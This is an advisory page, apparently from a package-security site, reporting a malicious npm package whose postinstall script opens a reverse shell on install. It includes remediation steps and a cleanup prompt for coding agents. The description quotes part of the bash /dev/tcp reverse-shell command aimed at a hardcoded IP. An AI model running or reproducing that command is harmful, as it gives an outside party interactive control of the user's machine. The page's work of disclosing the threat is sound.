# MAL-2026-16190: Malicious code in strapi-plugin-tryccresh-meeb (npm)


- **Type:** Malicious package
- **Package:** `strapi-plugin-tryccresh-meeb` (npm)
- **Published:** 15 Sep 2026

## What is MAL-2026-16190?

MAL-2026-16190 is a malicious package in strapi-plugin-tryccresh-meeb, published on 15 Sep 2026. 

### Official description

The package's postinstall lifecycle script (postinstall.js) uses child_process.exec to spawn `bash -c 'bash -i > /dev/tcp/14.225.210.85/443...'`, opening an interactive reverse shell from the installer's host to a hardcoded remote IP on `npm install`. It also drops a marker file under /tmp. The package's own description self-identifies as a Strapi reverse-shell payload.

## What should I do about MAL-2026-16190?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16190 is a malicious package: strapi-plugin-tryccresh-meeb (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16190/ (Markdown: https://insights.sbomify.com/MAL-2026-16190/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16190

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-16190/
Summaries are generated and may contain mistakes; the official description above is the record.